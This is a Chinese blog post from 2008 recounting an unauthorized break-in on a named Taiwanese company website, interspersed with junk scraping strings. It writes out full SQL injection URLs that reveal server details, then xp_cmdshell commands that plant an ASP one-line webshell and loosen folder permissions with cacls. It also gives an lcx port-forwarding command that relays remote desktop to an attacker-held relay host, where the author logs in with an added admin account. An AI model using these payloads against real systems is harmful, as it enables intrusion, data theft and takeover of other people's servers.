ASP.NET注入台湾站

上一篇 / 下一篇  2008-07-29 05:43:07

一次在渗透群里看到小天同学放出一个被他挂了txt的台湾站,看了下发现是个ASP.NET的整站系统,问了一下他情况,据说是权限设置有点BT,一直拿不到webshell。因为之前有看过IXPUB技术博客:a ZE/m-A+tL c
    一次在渗透群里看到小天同学放出一个被他挂了txt的台湾站,看了下发现是个ASP.NET的整站系统,问了一下他情况,据说是权限设置有点BT,一直拿不到webshell。因为之前有看过一些aspx的注入教程,正好可以练练手,于是有了下面的文章。IXPUB技术博客j*X+])k;eP

一.注入检测IXPUB技术博客d;^n5P6|^
   随便打开个带参数链接,加入单引号,立刻出现了错误(图1)。接着提交
]9Yw2rj po0http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’ and (select @@version)>0 and ’’=’IXPUB技术博客V%Nn6jx~ r
暴出了MS SQL SERVER的版本,确定服务器采用的是ASP.NET+MS SQLSERVER架构(图2)IXPUB技术博客 W A0c^#S[
这下好办了,依次提交下面地址。得到数据库名newkuai和当前数据库用户sa(图3)IXPUB技术博客S-Nz-M"s-r
http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’ and db_name()>0 and ’’=’
:O/B8p$ndWop5Jw0http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’ and system_user>0 and ’’=’IXPUB技术博客fp3].H](?QZS
sa大家都应该相当熟悉了吧,如果它的权限是默认设置的话权限是相当高的,可以调用SQL SERVER里所有的存储过程,其中最重要的莫过于xp_cmdshell了。现在这种情况最理想的办法就是利用xp_cmdshell加个管理员,然后远程登陆3389了,但是现实往往是残酷的,不然小天同学也不至于连个webshell都拿不了。用BluePortScan扫了下1到10000的端口,居然什么端口都没扫到,十有八九是防火墙隔开了,没办法只好继续下去。IXPUB技术博客 V w-I!S3i5M4|3_.D0K$|
   现在权限有了,接下来就到找web路径。ASP.NET暴网站路径比较有意思,许多没配置好的服务器只要在ASPX文件前面加个’~’符号它就会暴出找不到文件的错误,从而暴露了网站的物理路径。提交下面地址,暴出了网站的路径C:\Inetpub\wwwroot\web\newkuai\(图4)
1i%s8vS[[Zzf0http://www.kuai-kuai.com.tw/~NewsDetail.aspx?id=19IXPUB技术博客7R0Kr[KiZ!q

IXPUB技术博客 e`r(k(` |n;D;f

二.打破权限配置IXPUB技术博客3r%\;Xd6E
   现在有了WEB路径,尝试向WEB目录写入文件,顺便测试下xp_cmdshell有没被删除。先查看下本机的ip地址,提交下面地址,然后通过访问ip.txt就可以看到命令的执行结果了,发现ip.txt成功写入的同时也确定了该服务器放在了内网(图5)
a8ZE5K*{ L-U(c#j]0http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’;exec master.dbo.xp_cmdshell ’ipconfig > C:\Inetpub\wwwroot\web\newkuai\1.asp’--

oAe c q0IXPUB技术博客C:e\F(k

接着写入一句话小马,IXPUB技术博客wm5BJ7pw9k UWh
http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’;exec master.dbo.xp_cmdshell ’echo ^<%25execute request("l")%25^> > C:\Inetpub\wwwroot\web\newkuai\1.asp’--IXPUB技术博客f xN XO%T
再从IE访问1.asp,成功写入了,于是尝试提交个大马,结果提示写入文件失败,连续换了几个目录都同样失败了,应该是管理员限制了整个WEB目录的写入权限了(图6)。没有了写入权限,意味着连文件都不能上传,造成的不便可想而知。但是没关系,它的目录不让写入,那就我们自己来创建一个完全控制权的目录。
5Y+?2o%s&?0  先创建一个目录’hack’,然后看下它在WEB目录下的权限设置,依次提交下面URL,可以看到hack目录默认情况下只有读取权限(图7)IXPUB技术博客#s~ Mv-of6A
http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’;exec master.dbo.xp_cmdshell ’mkdir C:\Inetpub\wwwroot\web\newkuai\hack’--
-zk!u {C b0http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’;exec master.dbo.xp_cmdshell ’cacls C:\Inetpub\wwwroot\web\newkuai\hack > C:\Inetpub\wwwroot\web\newkuai\1.txt’--
u6K ZrF*d0 
/KB*f6} x wi)pn0  接下来要用到一个NTFS下才能用的权限配置命令CACLS,命令的基本用法如下。

N D z v8DseC0IXPUB技术博客 ](`@&]:f6khk#mSl

C:\>cacls
&E iyS1l-opk0显示或者修改文件的访问控制表(ACL)

J,w8Fd;AW0IXPUB技术博客A/[ {dt(bi

CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]
8s\zgG;U0               [/P user:perm [...]] [/D user [...]]
MKmcV_+f? Q0   filename      显示 ACL。
Dq:U,S,G9S?J_0   /T            更改当前目录及其所有子目录中
q4V5~Y5p-s0                 指定文件的 ACL。IXPUB技术博客2n1] K*j.D.y[
   /E            编辑 ACL 而不替换。IXPUB技术博客+\:z.p(`|_
   /C            在出现拒绝访问错误时继续。IXPUB技术博客&i ? ne8V*`8R\
   /G user:perm  赋予指定用户访问权限。
(br R-ntF0                 Perm 可以是: R  读取
F G4{Z2yN:LQ6^'k0                              W  写入
'd)Gd.@qV0                              C  更改(写入)
9L.vRSpdD%NU0                              F  完全控制IXPUB技术博客}E7q ?9U
   /R user       撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
bxr sV2Q0   /P user:perm  替换指定用户的访问权限。
l{S5F-TS0                 Perm 可以是: N  无
3T[@6].k Rh D0                              R  读取
"t6U1Ng,XLRH0                              W  写入
[S)?A%d^-e3E%W~0                              C  更改(写入)IXPUB技术博客3j:c A,wOB
                              F  完全控制IXPUB技术博客 z o)S7MnBJic
   /D user       拒绝指定用户的访问。IXPUB技术博客J2H ^G!c5i?

IXPUB技术博客 ]w/? YM%[v~

网上也有很多关于使用CACLS来进行提权的办法,但是测试后发现网上所说的命令’CACLS D: /E /T /G everyone:F’并不能通用,下面是我自己对该命令用法的一些总结。
i(W9S o L'_,V6~0CACLS只加参数/G后直接执行会出现一个是否执行的提示,因为我们在注入里不能键入确定,因此cacls往往没有执行。加入参数 /E /G后将不会出现提示而直接执行,但是参数 /E 的作用是编辑ACL而不替换已赋予的用户权限,而我们本身目录里已经包含了’everyone:R’的权限设置,所以执行后仍然是’everyone:R’。这种情况下,我们首先要用 /D 参数先把要赋权的用户拒绝访问,然后再执行赋权。
9Sq$b |I%ii$R!u0依次提交,IXPUB技术博客Zd8[A,nQKC M:W
http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’;exec master.dbo.xp_cmdshell ’cacls C:\Inetpub\wwwroot\web\newkuai\hack /e /d everyone’--IXPUB技术博客x NZ'hwW {4U7T jZ4a
http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’;exec master.dbo.xp_cmdshell ’cacls C:\Inetpub\wwwroot\web\newkuai\hack /e /g everyone:F’--
Kp5CO:hJ0执行后成功把完全控制权限赋予了everyone,可以从图8和图9里看到’hack’目录前后控制权限的变化,接着再用一句话小马提交数据的时候已经可以写入了(图10)

6D MINx(Ee0IXPUB技术博客'F:Sv|D\A f4L

三.完完全全的入侵IXPUB技术博客-B7\&[&}y7| }&yn$T?
   相信每个爱好入侵的朋友都一样,喜欢渗透到底,当然我也不会例外。有了写入的权限加上SA,后面的入侵也变得顺利成章了。先是确认服务器终端服务有启动并且端口是3389,然后换上大马上传端口转发工具lcx.exe,准备将服务器的3389的端口转发出来,因为我没有公网IP,所以再把lcx上传到有公网IP的肉鸡上进行监听。简单说下LCX的转发原理和使用方法,首先在肉鸡上的命令行下执行lcx -listen 51 880 ,作用是把监听到的发往本机51端口的数据传送到本机的880端口,而在台湾站上要执行的命令格式是lcx -slave 肉鸡IP 51 本机IP 3389,意思是把本机的3389端口传送到指定肉鸡的51端口上,而我们只需要在肉鸡上用远程桌面连接本地的880(127.0.0.1:880)端口就可以登陆到台湾服务器上了。提交以下地址执行lcx,最后利用自己添加的管理员帐号成功登陆到台湾站上(图11)IXPUB技术博客SZ"\ mz'{4MT,s
http://www.kuai-kuai.com.tw/NewsDetail.aspx?id=19’;exec master.dbo.xp_cmdshell ’C:\Inetpub\wwwroot\web\newkuai\lcx.exe -slave 222.240.166.xxx 51 192.168.1.2 3389’--
:Mo qX6_0H8Q.v4pPp0IXPUB技术博客z] jl5H,@7m(h q(u


TAG: asp ASP net NET sql SQL 服务器 台湾站

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-11-19  
      1
2345678
9101112131415
16171819202122
23242526272829
30      

数据统计

  • 访问量: 44832
  • 日志数: 962
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2008-11-18

RSS订阅

Open Toolbar